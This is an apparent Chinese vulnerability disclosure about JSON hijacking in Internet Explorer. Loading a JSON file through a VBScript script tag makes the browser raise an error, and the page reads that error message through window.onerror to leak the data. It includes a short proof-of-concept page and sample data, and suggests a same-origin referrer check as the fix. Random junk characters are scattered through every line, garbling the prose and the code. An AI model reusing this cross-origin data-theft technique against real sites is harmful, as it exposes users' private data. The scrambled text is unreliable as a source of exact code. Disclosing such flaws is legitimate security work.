简要描述:
3 o0 j. P8 e6 |
9 S0 |- Z8 Y' e# b由于某些资源容器对数据处理不当导致json劫持漏洞.* Y8 W* Y) X% ?: ?0 f) {7 |
详细说明:5 x3 a$ Y3 p+ }' G$ `( l9 W" j& S
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
0 G, O# d9 R6 q; f* b) u<script language=vbscript></script># T& f& d8 k: t* v0 \
& u0 ]3 T& O: N; z9 s' b5 f$ ?
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.0 P' v" r! w* K7 D7 h
漏洞证明:* x ~5 }! j# V `8 k1 u9 t
<script>
' o/ w1 D# H' x3 g7 @# Wwindow.onerror=function(_){ ~' h" z' s* o+ q
alert(_)( o% D+ z! ^. v. z, v4 }
}
+ o5 h, {7 {" L# t( m& T( P. \</script>: c5 z7 ~1 l1 ]# A$ k+ y
<script language=vbscript src=1.json></script>( R8 o. t3 Q/ \7 r3 |1 \
K" ?# O$ G2 \* n3 Z0 w9 |" b7 i9 f ! ~" H* |6 ]0 r& m% n
1.json:( d$ N' D ^6 t1 N Y
[{"name":"sogili","age":19}]4 q+ _8 S3 ?+ N+ V2 [" A* S9 l
修复方案:
* ~% z+ ? e, \) p: n, O网站业务对于这个问题可以通过验证referrer是否为同源来防御 |